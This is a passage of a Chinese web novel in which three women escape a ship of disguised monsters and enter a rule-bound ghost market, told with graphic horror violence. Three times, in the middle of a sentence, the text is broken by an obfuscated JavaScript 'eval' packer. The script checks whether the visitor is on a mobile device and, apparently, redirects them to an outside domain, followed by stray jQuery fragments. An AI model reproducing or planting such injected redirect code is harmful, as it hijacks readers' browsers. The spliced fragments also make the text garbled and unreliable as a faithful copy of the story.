好在船上剩余的几人不是傻子，当即明白了韩舟的意思，争先恐后跑上梯子。 而那些装成人的怪物先是愣了一下，随后也反应过来，难以置信地大叫：“不可能…我们已经是人了…” 其中一个露出狰狞面孔，拦住了正爬上梯子的一人，恶狠狠道：“如果我下不了船，你们也别想下去！”说罢一口咬上那人的脖子。 鲜血四溅，怪物撕破了伪装的假面，露出尖利的牙齿，大口啃食起手中的骨肉。 韩舟见方兰还在船上，急忙喊道：“方兰，快上岸！” 原本在怔愣中的方兰如梦初醒，又看了角落里的方竹一眼，方竹依旧垂着头不知道在想些什么，方兰只得咬了咬牙，向梯子跑去。 她刚踏上梯子，就被一个怪物抓住手臂：“你们谁都别想下去…” 方兰也不含糊，一脚狠狠踹在怪物身上，怪物痛地嚎叫一声，张口向方兰咬来。它的嘴还没靠近方兰，就被一股力量推翻在地，它愤怒地抬头看去，发现推倒它的是方竹。 方竹扑倒在怪物身上，撕咬着它的身体，怪物也不甘示弱，一口咬上方竹的肩膀。 方兰看到这一幕，只觉心里一阵刺痛，不禁僵立在原地。 “小妹…” 韩舟在岸上急得大喊：“她不是你妹妹！清醒一点！你妹妹早已经死了！” “小妹已经死了…”方兰看着地上撕咬的两个怪物，眼睛湿润了。 方竹的肩膀已被怪物咬的鲜血淋漓，她勉强抬起头看向方兰，张开口： “走…” “快走，活下去…” 方兰再也受不了了，泪水夺眶而出，她把嘴唇咬出了血，转过身跑上梯子。 一步，两步…她强忍着不回头看方竹，害怕看了就再舍不得离开，她的眼泪不断往下落，到最后，她号啕大哭起来。 她边哭边奋力跑着，终于，她来到了岸上！韩舟伸手把她拉住，方兰一下扑倒在韩舟身上，泪水打湿了她的衣衫。 韩舟的眼睛也有点湿，她拍了拍方兰的背，朝岸上看去，方竹和怪物已停止了撕咬，躺在地上一动不动。 原本留在船上的人类应该都下船了，除了… 韩舟的目光落在了孟先生身上，他一动不动站在甲板上，神色平静，手里搂着那个瘦弱少年。 “孟先生…”韩舟刚想喊他下来，忽然明白了什么，住了嘴。 孟先生听到了她的喊声，他看向韩舟，微微笑了：“你们走吧，我就留在这了…这里有我的家人。” “而且…”孟先生捋了捋胡子，那是韩舟再熟悉不过的动作，“我做了很多错事，无法弥补，这是我应得的果。” 42. 阴阳集市（十三） 错事？…韩舟张了张口，想问他究竟做了什么错事… 是拿走别人房里的长明灯？还是帮助怪物吞食了他房里的人？ 她还没问出口，孟先生已转过头去不再理她。 他脸上带着慈爱的笑容，对身侧的瘦弱少年说：“思柳，我们回家吧。” 思柳？这名字有点熟悉…韩舟在脑海中回忆了一番，猛然想起她刚才在储物舱簿册上看到的： "佳靖十七年五月初五，献童女一名，年十七岁，名孟思柳。" 孟思柳…姓孟…这个孟思柳和孟先生是什么关系？韩舟有一肚子疑问，却见孟先生挽着“思柳”走进了船舱。 韩舟最终紧紧闭上了嘴，现在知道答案又怎么样呢？已经不重要了。 船上的部分怪物还在试图走上梯子，却一次又一次被无形的屏障拦住…它们脸上浮现出绝望之色，有的开始失声痛哭。 好奇怪啊，它们明明已经成了怪物，却还有这么强烈的人类感情，就比如“方竹”…韩舟看了一眼趴在她肩膀上哭泣的方兰，叹了口气。 方兰哭了好一会儿，终于停了下来，她对韩舟说了句“抱歉”，随后转过身去，大口吸着气，似是在努力平稳情绪。 白媜走过去，递上一方丝帕，方兰道了谢，接过丝帕擦了擦眼泪。 三人并排站在岸边，静默不语，过了片刻，船和岛屿之间的梯子如香烛般融化了。 无论是岸上的人还是船上的人，都置身于一座孤岛，从此楚汉银河，再不相见。 一阵海风吹过，泉先号渐渐远去，消失在大海深处，那些悲惨的过往随着泉先号一起埋葬。 韩舟缓缓呼出一口气：“走吧，我们去找鬼市。” 仙岛上找鬼市，说起来还真有种荒谬感。 白媜道：“好…” 方兰则沉默地点点头。 岸上另外几人听到韩舟的话，纷纷围了过来。 “姑娘，你刚才实在太厉害了！幸好有你，不然我们死定了！”一个长得微胖皮肤白皙的男子说道。 “是啊，你用的什么法器，一下就把那鱼怪除去了！”一个穿灰色短衣的男子接话。 “什么法器不重要，那是这位姑娘本身法力高强！” “是啊，姑娘只需动动手指，就能把鬼怪给灭了！” 几人拼命吹捧，就差把韩舟吹成神仙了。 韩舟心里明白，他们这是指望她一会儿在鬼市带他们飞呢。 不过带飞他们倒是没啥问题，反正这些npc，每一个都是1000枚游戏币，有钱不赚是傻子！ 韩舟背起了手，装出一脸高深莫测，俨然一副大师范儿，她轻咳两声，发表重要讲话：“这些都是举手之劳，不必挂心，一会儿到了鬼市，我会尽力保护大家，不过希望各位能听我的话，不要轻举妄动…” “当然，姑娘说什么我们都会听！” “多谢姑娘！” 那几人喜滋滋回答道。 “如此甚好。”韩舟微微颔首。 白媜在旁边忍不住“噗哧”一声笑了出来，韩舟冲她使了个眼色，白媜抿了抿唇，又恢复一副端庄模样。 “我们出发吧。”韩舟一左一右拉上白媜和方兰向岛上深处走去，其余几人自觉跟在韩舟后面。 云雾缠绕在他们脚边，前方道路若隐若现，走了一会儿，云烟变得稀薄起来，一片树林出现在他们视野中，其中一棵参天大树格外显眼，看外表应该是颗槐树。 树下站着个黑色人影。 韩舟道：“一会儿你们都别说话，听我指挥。” “明白。”她两边的白媜和方兰回答道。 可她的身后却是静悄悄的。 韩舟疑惑地回头一看，发现身后的人都不见了。 他们什么时候不见的？韩舟惊了一下。 白媜望了一眼身后：“刚才我未听到任何声音…” 方兰道：“他们…不会是被鬼怪吃了吧？” “…”韩舟陷入沉默，不至于吧…一上岛这几个npc就出事了？这次的副本也太坑了，而且到现在都没见到规则。 “我们继续往前走吧。”韩舟沉默半晌，憋出一句话。 她们走到那棵大槐树前，看清了树下的人影，他穿着黑色长袍，全身上下裹得严严实实，手上拿这个蛇皮袋，脸上戴着一个青铜面具，这个面具上裂纹纵横，眼睛处嵌着两片云母，额间刻着诡异的兽纹。 这是…傩戏面具？ 傩戏又名鬼戏，是一种古老的祭祀活动。人们在活动时会戴上面具扮演“神”。 黑袍面具人看到她们走近了，缓缓道：“各位，欢迎来到鬼市。”此人声音低沉沙哑，透过面具带着嗡嗡的振动声。 他从蛇皮袋里取出两件黑色长袍和三个面具，递给三人：“着黑袍，戴面具，方可入鬼市。” “这位姑娘既已着黑色衣衫，就不必换了。”面具黑袍人将脸转向韩舟说道。 三人分别接过长袍和面具，方兰将手中的黑袍翻来覆去打量，忍不住感叹：“黑色衣袍是皇室才能穿的，我居然有一天可以穿黑色，真是…有点兴奋呢。” 方兰喜滋滋地拿着黑袍往身上一比划。 白媜：… 韩舟低头看了眼自己身上的黑袍，心想她不仅穿着，还已经穿了两天了… 她撇了撇嘴，拿起黑袍人给的面具仔细端详起来。 这个面具上刻的图案和黑袍人的面具差不多，只是材质不同，她们手里的面具是木头雕刻成的。 “小舟，我们先去换衣服了。”白媜对韩舟说了一声，和方兰一起去了另一棵树后。 韩舟等二人走后，眼珠转了转，轻手轻脚凑近黑袍人，露出一个甜甜的笑容：“嗨，大哥，跟你打听一下呗，鬼市到底是个什么样的地方啊？” 黑袍人没有回答她，站在原地一动不动，像是一个npc处于待机中。 …韩舟翻了个白眼，只好不再继续问下去，她环顾四周，远处的景物依旧笼罩在雾气中，看不真切，身后树影婆娑，不知道里面又有什么诡异… 韩舟的目光最终落在大槐树的树干上。 树干上刻着几行字，字并不大，不仔细看还发现不了。 韩舟心中一动，快步走近树干查看。 这几行字开头赫然是： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935849|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 《阴阳集市》怪谈玩家须知。 韩舟感动得差点眼泪汪汪，天知道这两天她快被没规则的大船折腾坏了！ 她原地乱蹦了两下，随后拍了拍脸颊，平复下激动的心绪，耐下性子，一字一句仔细读起了规则。 《阴阳集市》怪谈玩家须知： 一、丑时方可入市，天亮前取得令牌才能离开。 二、入市者必须着黑袍，带面具，面具不可摘下。 三、人间的金银在此无用，须用冥币易物，若无冥币，则以摊主的要求为准。 四、买卖诚信，钱货两讫，若有不诚信者，后果自负。 五、不要吃这里的食物，不要接受任何馈赠。 六、不要被它发现你是人类！ 这些规则每一条都鬼气森森，但在此刻的她看来分外亲切可爱。 有规则就好，通过规则起码能规避一些风险，韩舟想。 这时白媜和方兰从槐树背后走了出来，她们都已换上了黑袍。 方兰揪着黑色的衣袖喃喃道：“穿这个还真有点不习惯…” 白媜轻笑一声，并未言语。 韩舟走到她俩身边：“快来，我跟你们说点事。”随后把树干上的规则一字不改地复述给她们。 白媜和方兰听完规则后，神色都凝重起来。 白媜略一思索道：“看来鬼市这个地方十分凶险…从第一条规矩来看，我们要取得令牌才能离开这里。” “其他规矩都还好说，但是这第三条…要用冥币易物…我们哪里来的冥币？”方兰苦着一张脸，“谁出门会带冥币啊！” 韩舟有些尴尬地举起手：“我…” 方兰惊讶地看向韩舟：“什么？” 韩舟往黑色长袍的口袋里掏了掏，抓出一大叠白花花的纸钱，“我这里有很多，应该够用吧？” 方兰：“…够了…韩姑娘你为什么会带着冥币？” 白媜笑了一声：“定是小舟料事如神，已料到我们此行需要冥币，所以才提前备好了。” 韩舟：“…那倒也没有…”料事如神的不是她，而是系统。 她想了想，胡诌道：“我那是…刚好要出门祭拜先祖…”说着也不管她们信不信，将所有的纸钱取出，分给白媜和方兰。 刚分配完毕，待机中的黑袍面具人终于重新启动，缓步走了过来，低沉沙哑的声音响嗡嗡作响：“看来各位已准备妥当，穿过我身后那片树林就是鬼市了，记住，丑时才能入市，入市前要戴上面具。” “知道了。”韩舟应了一声，戴上木雕面具，走在了最前面，方兰随即跟上，白媜走在最后，三人走进了那片幽深的树林。 虽然天空本就阴沉，但树林里更加幽暗，走在里面只觉得寒气逼人。 韩舟走了几步，转过头看向白媜和方兰：“我们还是牵着手走吧？” 真不想走着走着又有人不见了。 “好。”方兰点了点头，抓住韩舟的手，另一只手抓住身后的白媜，却觉得白媜手指冰凉。 方兰立刻转头看向白媜，只见她满面惊恐地盯着树林中某处。 “刚才…好像有个影子飘了过去…” 43. 阴阳集市（十四） “刚才…好像有个影子飘了过去…”白媜说着抬起手，指向密林某处，手指微颤。 “在哪？我看看。”韩舟走到白媜身边，顺着她手指的方向看去。 那里并没有什么人影，只有漆黑的树影摇曳，沙沙作响，因为没有阳光，整座林子像一片巨大的沼泽。 韩舟凝神观察片刻，发现一件事，这片树林里好像没有活物，不但听不到鸟鸣，连一只虫子也没有。 “没看到什么影子…”方兰道，“不过这里太安静了…” 白媜眉头微蹙，沉默片刻道：“也许是我眼花了。” “我们还是快走吧。”韩舟收回目光，觉得身上有点凉，“去鬼市要紧。” 三人加快脚步，穿过这片阴森的树林，刚一出林子，一片红彤彤的东西映入眼帘。 那是一片大红灯笼。 灯笼高悬在半空中，远远看上去像一只只血红的眼睛。灯笼后方是一条长街，灰扑扑的石板路上空旷无人，分外冷清。 方兰搓了搓胳膊：“这里就是鬼市吗？怎么什么都没有？” “现在应该是没到时间。”韩舟答道，按规则里说，应该是子时才会出现。 三人就站在原地等候，下意识不想靠近那片灯笼，只觉得瘆得慌。 不知等了多久，夜幕终于降临，夜色越来越深，长街也变得漆黑一片，片刻后黑暗中逐渐浮现一点点亮光。 亮光越来越多，到最后整条街都亮了起来。街上凭空出现了很多店肆和商贩，商贩的外貌如常人，商品琳琅满目，叫卖声不绝于耳。 满街张灯结彩，亮如白昼，热闹非凡。 韩舟眼睛都看直了，这跟说好的“鬼市”不太一样啊？在她的想象中，鬼市应该是百鬼夜行，阴暗恐怖的，反正绝对不会像现在这么有“人气”。 方兰愣愣道：“这里好像我家乡的集市…” 韩舟捏了捏下巴，在怪谈里，越是看着正常，可能就越危险，她对白媜和方兰说：“别看他们看着像人，可能都是鬼怪，等会儿要小心，千万不要违反规矩，尽快想办法找到令牌。” 白媜和方兰都点点头，戴上木雕面具，三人缓步走进集市，瞬间就被喧闹声和灯火包围。 “卖包子嘞！刚出炉热气腾腾的包子！” “好吃的桂花糕，软糯不粘牙！” “来一碗热汤！驱寒暖胃！” 方兰忍不住咽了下口水：“说起来，我们午饭还没吃呢…” 韩舟也感觉肚子里咕咕叫了几声，她揉了揉肚子没吭声。 “三位姑娘…”背后传来一声叫唤，韩舟转头看去，是一个街边摆摊的小贩，灯火照耀下，他的面色有些发白。 这个小贩正一脸嫌弃地看着她们：“你们…怎么戴着这么丑的面具？” 韩舟三人同时沉默了。 小贩继续说：“这面具太难看了，有点荼毒我的眼睛，我这有很多好看的面具，不如我送你们几个？” 小贩面前的摊位上摆着色彩缤纷的面具，他拿起其中一个递向韩舟。 韩舟没有接，远远瞧了一眼他手中的面具，这面具额上刻着诡异的兽纹。她不禁腹诽：这不还是傩戏面具吗！只不过换了个样式而已。 而且规则里说不要摘下面具，也不要接受任何馈赠，这商贩的面具是坚决不能要的，她们脸上的面具更不能摘下。 韩舟道：“不用了，谢谢，我觉得我的面具挺可爱的。” 白媜和方兰都一言难尽地看了眼韩舟。 商贩则满脸失望地放下手中的面具，眼里闪过狠毒的光芒。 就在这时，一个卖冰糖葫芦的货郎从她们身边经过，他打量着三人，取下一串红得发亮的糖葫芦伸到她们面前。 “又大又甜的糖葫芦嘞～要不要来一串？” 清甜的香气钻进韩舟鼻子里，她深吸一口气，严词拒绝：“不要。” 规则五，不要吃这里的食物，不要接受任何馈赠。看着再好吃的东西也不能吃！ 货郎见她态度坚决，又转向白媜和方兰：“这糖葫芦可甜了，二位尝一尝吧。”白媜轻轻摇了摇头，方兰则使劲摆了摆手。 货郎冷笑一声，把手中的冰糖葫芦塞到嘴里，咬下两颗，“咯吱咯吱”使劲嚼了起来。 他的嘴巴一张一合，韩舟发现，他嘴里的冰糖葫芦变成两颗血淋淋的眼珠。 韩舟：…还是快点想办法找令牌吧。 等货郎离去后，韩舟思考起了令牌的所在处，这种东西特殊，不是食物也不是什么日用品，会出现在集市的哪里呢？ 她和白媜方兰一路走着，无意中瞄到了街边的一家店铺，朱漆匾额上刻着一个"當"字。 这是家当铺。 人们在当铺会典当各种各样的物品，只要是掌柜认为有价值的…令牌有没有可能在那？ 韩舟这么想着，转头对白媜和方兰说了自己的想法，方兰道：“我二舅就在当铺当伙计，这个我熟，等会儿我来问。” 三人走进这家当铺，昏暗的房间里亮着盏油灯，空气中萦绕着一股发霉的味道，柜台后坐着个面白微须的男子。 男子面前放着一个木算盘，指甲修剪齐整的手指在上面拨弄着，见韩舟三人进来后，他抬起头，满是横肉的脸上堆满笑容：“贵客临门，有什么我可以效劳的吗？” “掌柜的安好…”方兰首先开口，“近来可有什么死当的好物供人相看？” 掌柜眯眼笑道：“这不是巧了么，昨日恰好进了批尖货，不知客官想要什么物件？” 方兰问：“这其中可有一副令牌？” 掌柜神色微动，脸上笑容变得古怪起来：“客官好耳力…有的确是有，不过…客官未必买的起…” “谁说的！”方兰立刻拿出身上所有的纸钱，重重拍在桌上：“这些…不够吗？” “客官…”掌柜脸上的肉颤了颤，“令牌这物件很特殊，须得…以物换物。” 方兰愣了愣道：“用什么物换？” 掌柜神秘地笑了笑，从柜台下取出三张揉搓成小球的纸条，摆在柜台上：“三位各取一张纸条，上面写着一样物件，你们按照字条上的要求将物件取来，期间不可交换，更不可告诉他人自己的纸条上写了什么，待凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948874|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 齐三件好物，我自会将令牌双手奉上。” 方兰听了这话，用询问的目光看向韩舟和白媜。 韩舟想了想，点点头：“就按照他说的做吧。” 三人各自拿了一张纸条，出了当铺，韩舟道：“刚才掌柜的说不可交换字条，更不可告诉他人自己纸上的信息…也就是说…我们三个人都只能独自把物件取来了…”说罢，她有点担心地看了眼方兰和白媜。 白媜察觉到韩舟担忧的目光，微微一笑：“小舟不必忧心，你之前也说了，只要不违背规矩，鬼怪就不会攻击我们。” 方兰也道：“我们会遵守规矩的，一定尽力把物件取来。” 韩舟道：“好，你们多加小心。” 三人背对背，展开了纸条，仔细阅读上面的要求。 方兰的纸条上写着：去锦绣坊取来一方绣着“祂”的绣帕。 白媜的纸条上写着：去孟婆的汤饼摊取一碗热汤，期间不可洒出。 韩舟的纸条上写着：去阴阳棺材铺取一副装着尸体的棺材。 韩舟：“…我谢谢你哦。”要取棺材就算了，还要一副装着尸体的，事真多啊！ 三人收起纸条，互相点了点头，随后转过身去，走向各自的目的地。 方兰沿街寻找了一番，终于在街边找到了那间锦绣坊。 方兰本就是绣娘，对绣坊有种天然的亲切感，她走进这间绣坊，里面富丽堂华，挂满各种精美的绣画，大堂中放着一个华丽的刺绣屏风。 方兰看着眼前这副景象，不禁想起之前她和方竹一起绣丝帕的日子，心里涌起一阵酸楚。 她平复了下情绪，绕到屏风后，看到有几个绣娘坐在后面，她们都手持针线，专注着眼前的绣品。 其中一个穿着紫衣的绣娘抬起头看她，露出一丝微笑：“这位小姐，想要买什么？我们这的刺绣手艺是集市上最好的。” 这个绣娘的脸蛋圆圆，笑容腼腆，和方竹很相似，方兰差点又恍惚了。 她稳了稳心神，取出袖中的一叠纸钱，对那个绣娘道：“我想要一幅祂的绣帕。” “祂？”紫衣绣娘的眼神闪烁了一下，“很抱歉，我们这里没有祂的绣帕。” “不过…”紫衣绣娘顿了顿，笑容渐渐变得古怪起来，“你可以自己绣一幅，我们可以提供手帕和针线。” “我自己绣？”方竹满脸惊讶，不禁问道，“为什么？” 紫衣绣娘听到这话，收敛了笑容，语气变得冷淡：“小姐当然也可以选择不绣，我们不会干涉。” “这…”方兰犹豫了一下，祂的绣帕是肯定要拿到的，不然没法凑齐三样物件，取得令牌… 想到这，她只好点了点，“行，我来绣，不过…我不知道祂长什么样…” “这个小姐不用担心…”紫衣绣娘站起了身，走进里屋，片刻后她走了出来，手里捧着一张卷起来的画卷。 她来到方兰面前，姿态优雅地徐徐展开那张画卷。 这幅画画工精细，画上人物栩栩如生。 但这画上的人… 赫然是已经化成灰的船主房君。 44. 阴阳集市（十五） “这就是祂。”紫衣绣娘道，她看着这幅画的眼神充满恭敬和虔诚。 画卷上的“祂”眼睛漆黑如深海，面色苍白，嘴唇血红，穿着一间黑色长袍，身体被裹得严严实实。 方兰看到这幅画像后，吓得手一哆嗦，手中的纸钱洒了一地。 这画上的是房君吗？他竟然是这里的“神”？ 方兰蹲下身，从地上一张一张拾起白花花的纸钱，心里直打鼓，当铺掌柜为什么让她来这里要房君的画像？ 紫衣绣娘将画卷挂于墙壁上显眼处，对着画像福了福身，随后转过头看着方兰，面上仍带着浅笑：“小姐请跟我来。” 方兰拾起所有散落的纸钱，跟上紫衣绣娘的脚步，来到一张没有人的绣案前。 紫衣绣娘长长的衣袖垂在面前这张绣案上，“小姐就坐在这里绣吧。”说罢她从袖子里取出一方白色手帕，将手帕固定在绣案上的绣棚中。 她脸上笑意加深：“对了，小姐，有件事我忘了告诉你…” “若是绣的有差错，就是对祂的不敬，祂会降下责罚…。”紫衣绣娘说这话的声音温软，却无端令人不寒而栗。 方兰打了个冷颤，往绣案上看去，上面放着各色丝线和绣针…她又仔细打量了下画像，她做绣娘多年，若想绣得有八九分像倒是不难… 她深吸一口气，刚准备坐下，就听外面传来一个响亮的男子声音。 “店家在吗，这里有祂的绣帕吗？” 他的声音方兰听着有几分熟悉，她仔细回想了下，这好像刚才在岸上吹捧韩舟的几人之一？他居然没有被鬼怪吃掉？ 紫衣绣娘绕到屏风前，柔声道：“抱歉，公子，我们这虽没有，却可提供手帕和针线，你自己绣一幅。”她回答男子的话，与刚才和方兰说的相差无几。 “什么？还要我自己绣？”男子先是语气充满惊诧，后又转成小声嘀咕…“明明鬼市门口那个戴面具的人说这里有的…” 紫衣绣娘道：“绣与不绣，全凭公子自己决定…” 男子似乎纠结了一会儿，终是道：“好吧，我绣，祂长什么样啊？” “公子，请随我来。”紫衣绣娘带着那人走了进来，绕到屏风后，方兰看清了那男子的形貌，他也穿着一身黑色长袍，脸上同样戴着个木雕面具，身材微胖，露在外面的肌肤白皙如玉。 紫衣绣娘面上笑意温柔，她的目光落在墙上的画像：“那就是祂。” 黑袍男子看到墙上的画像，吓得一屁股跌坐在地上：“船…船主？怎么是他？” 紫衣绣娘好似没看见黑袍男子的惊慌模样，只是走到方兰旁边空着的绣架前，从袖里取出白色手帕固定在绣棚中，然后看向男子，淡淡道：“公子请吧。” 那语气仿佛笃定了他一定会绣。 “若是绣错了，祂会降下惩罚。” 男子坐在地上怔愣半天，果然不情不愿站起，灰溜溜走到绣案前坐下，长吁短叹。 方兰瞥了他一眼，轻声对了下暗号：“泉先号。” 男子立刻抬头看她，语带惊喜：“原来你也…在下洛川。” 方兰道：“洛公子…我叫方兰，听你刚才说鬼市门口有个面具人让你来此找绣帕？” 洛川点点头：“是啊，他说凑齐三样东西，到当铺取得通行令牌就能离开这里，我负责上这来取绣帕…”说到这，他压低了声音，“听说这里都是鬼怪…” 方兰：？他怎么运气这么好？面具人直接告诉他了？ 方兰有些气，忍不住拍了下大腿。 洛川疑惑地看了她眼。 方兰当作什么也没发生，继续道：“洛公子也会刺绣？” 洛川的声音带上几分羞涩：“我娘亲擅长刺绣，我也跟着学过几日。” 方兰：“…那我们开始吧。” 她说着一手从绣案上取了针线，一手抚上绣棚中的手帕。 那手帕比一般的手帕要大一些，摸上去冰凉光滑，细腻柔软。 方兰的手刚碰到手帕，屋中灯火就一盏盏熄灭。 绣坊被一片黑暗吞没。 屋内一片漆黑，伸手不见五指，周围的绣娘仿佛凭空消失了一样，毫无动静。 方兰听到她身侧的洛川“咕噜”一下咽口水的声音：“额…方姑娘…这是怎么回事啊…” 方兰皱眉：“我也不知道…”她虽然什么都看不到，却莫名觉得黑暗里有什么东西在靠近，她背后涌起一股凉意，身上汗毛根根竖起。 这是一种对潜在危险的感应。 她有一种错觉，自己仿佛回到了泉先号大船上，身处那条黑暗狭长的走廊，身后是想将她吞食入腹的怪物。 她感到自己全身都在颤抖。 不行，要冷静下来，方兰对自己说，她抓紧胳膊，努力止住颤抖的身体。 过了片刻，一道亮光投射在她面前的绣案上，是墙上的那副画在发亮。 画像上光点浮动，房君原本苍白的脸在黑暗中泛着幽幽荧光。 “二位开始吧。”紫衣绣娘的声音适时响起，只不过她原本轻柔的声音在此刻变得阴森无比。 方兰稳定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957318|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下心神，紧紧捏着绣针，借着画像的亮光，往手帕上刺去。 一针又一针，她凝心静气，专注盯着面前的手帕，手指蹁跹。 不能出一点差错，否则祂会降下责罚。 旁边的洛川也在安静刺绣，没再说一句话。 方兰正认真绣着手帕，原本寂静无声的绣坊内响起一阵水浪声，她震惊地抬起头，发现绣案前方的屏风也亮了起来。 屏风上绣着一片碧蓝的大海，乍一看海水在翻滚，溅起朵朵银花。 这屏风上原本绣的是海浪吗？方兰不记得了，内心惊疑不定，她定睛向屏风望去，在滚滚海浪声中，这巨大屏风上的画面彻底动了起来！ 茫茫大海中出现了一艘豪华的大船，船上鲜红旗帜飘动，看着正是她才从那里死里逃生的“泉先号”。 这是怎么回事？方兰内心惊骇万分。 一旁的洛川没有发出声响，不知道他有没有看到。 这片大海并不像她之前见到的那般漆黑阴森，海水蔚蓝澄澈，天空一碧如洗，艳阳高照。 画面还在继续，“泉先号”大船在海面行驶着，过了一会儿，从船上扔下了几个小人。 方兰知道，那是被献祭给“海神”的童男童女。 大船每行驶一会儿，就扔下几个小人，直到海上出现一座漂浮在半空中的岛屿，上面雾气缭绕，恍若仙境。 就在大船要靠近岛屿时，一条巨大的鱼浮出海面，大鱼几乎是两个泉先号那么大，横在大船和仙岛之前。 “泉先号”和大鱼对峙了一会儿，大鱼始终纹丝不动，“泉先号”只好调转船头，离开这片海域。 过了一会儿，“泉先号“又重新出现在这片海面上，待大鱼浮出海面，船上万箭齐发，将这条大鱼射穿！ 大鱼翻了个身，雪白的肚皮向上，渐渐沉入大海中… 方兰看懂了，这是在重现当年房君出海寻仙岛的情景。 如果这是仙岛，那这个鬼市又是怎么回事？这里为什么会有那么鬼怪？ 正在方兰思考地头昏脑胀之际，忽然听到旁边传来一个激动的声音。 “我绣好了！”是洛川在说话，他喜滋滋地拿着绣帕，翻来覆去欣赏着：“我觉得我绣的挺好的…” 方兰看了一眼自己面前的手帕，糟了，她只绣了一半…她刚才光顾着看屏风上的画面，完全忘了绣手帕这回事了… 只听窸窣的脚步声响起，紫衣绣娘的脸出现在他们面前，在幽光映照下有几分诡异。 “这位公子，你确定你绣好了吗？” 45. 阴阳集市（十六） “啊？”洛川被问的一怔，他又垂首望了眼手中的绣帕，“应该是…绣好了吧…” 方兰伸头看去，却见洛川的手帕上绣着个歪七扭八的小人，黑色外袍绣得像一团污渍，脸上糊成一团，根本分不清眼睛、鼻子和嘴。 方兰：…… 洛川看了半天，越看越觉得自己绣艺高超，语气不禁带上几分自豪：“不愧是我，我的手艺我娘都说好！” 画像上的房君突然转动了下眼珠。 洛川底气十足地将手帕递给紫衣绣娘：“姑娘你看，我绣好了。” 紫衣绣娘接过丝帕，纤细的玉指在上面轻轻划过，整张脸在荧光照耀下青一阵白一阵，瞳仁黑黢黢的不带一点感情。 少顷，她的嘴角一点一点扬起。 房君的画像开始渗出粘稠的黑色液体，散发出一股腥臭味，洛川手里针线猛然散落一地，缓缓站起身。 “洛公子？”方兰的心一下悬起，“你怎么了？” 洛川无视了她的问题，径直向画像走了过去，他走路的姿势僵硬得像一具傀儡，他一路走到画像前，站定后，“扑通”一声直挺挺跪了下来，他身体扭曲了几下，双手高举，匍匐在地，开始向画像朝拜！ 他的脑袋不断磕在地上，发出“咚咚咚”的声音，回响在这幽暗的绣坊中，恍如恶鬼索命的扣门声。 在一下又一下的撞击中，他脸上的木雕面具出现丝丝裂纹，“啪嗒”一下碎成两半。 碎掉的面具掉落，露出洛川惨白无血色的脸，他的眼睛混浊，瞳孔焕然，已然失去神智，他跪在那，一动不动了。 紫衣绣娘发出一阵“咯咯”的笑声，她笑得前仰后合，半晌后才止住笑，走到洛川面前，捏住他的下颔，将他的脸转向自己：“这位公子的皮肤白皙光滑，真是一副好皮囊。” 她的手指划过洛川的脸，移到他的额头发际线处停住了，只听“嘶啦”一声，她把洛川的脸皮生生剥了下来！ 洛川没发出任何叫喊，仿佛感觉不到疼痛。 方兰看到黑暗中走出几个绣娘，眼睛在黑暗中闪烁着幽光，她们走到洛川身边，俯下身去，有尖利之物刺破皮肤之声响起，紧接着是一阵吮吸液体的声音。 方兰忍不住想要惊呼，又急忙捂住了嘴。 不知过了多久，紫衣绣娘站起身，用衣袖优雅地擦去唇边的血渍，一手捏着洛川的面皮，转过身看向方兰：“姑娘你呢？绣好了吗？” “我…我没有！”方兰吓得出了一身冷汗，使劲摇头否认，“我还差一些。” “那姑娘继续绣吧。”紫衣绣娘的声音又变得温柔婉转，好像刚才的一切不曾发生。 方兰生怕她反悔，飞快低下头去，看着面前的手帕，捏紧手中的针又继续绣起来… … 另一边的白媜也找到了街角处的小吃摊，远远的她就闻到一股浓郁的香味，像是肉香又像是酒香。 摊位前没什么客人，只有一位头发花白的老婆婆，她垂着头，雪白长发披散在肩，手握一只长勺在汤锅里搅动着，摊位旁支着一面白色幡子，上面写着一个大大的“孟”字。 摊位的后面是一座拱桥，桥上没有点灯，笼罩在漆黑的夜色中，与灯火辉煌的长街相比，仿佛是另一个世界。 白媜走近几步，轻声开口：“这位婆婆，我想买一碗汤。” 老婆婆抬起头，一手将垂落的白发往耳后拨了拨，露出一张没有皱纹的脸，她的声音听起来却十分苍老：“姑娘，一碗汤五十张冥币。” 白媜看着“老婆婆”的脸先是愣了下，随后在袖中摸索出了一叠纸钱，递了过去。 老婆婆收下纸钱，没有多说什么，给她勺了一碗热汤。 白媜用丝帕裹住汤碗，汤碗里散发出阵阵热气，香味扑鼻。她将碗盖盖上，见“老婆婆”已经垂下头去，继续搅着锅底的汤。 就这么简单吗？白媜心里有些怀疑，她向“老婆婆”道了声谢，转身离去。 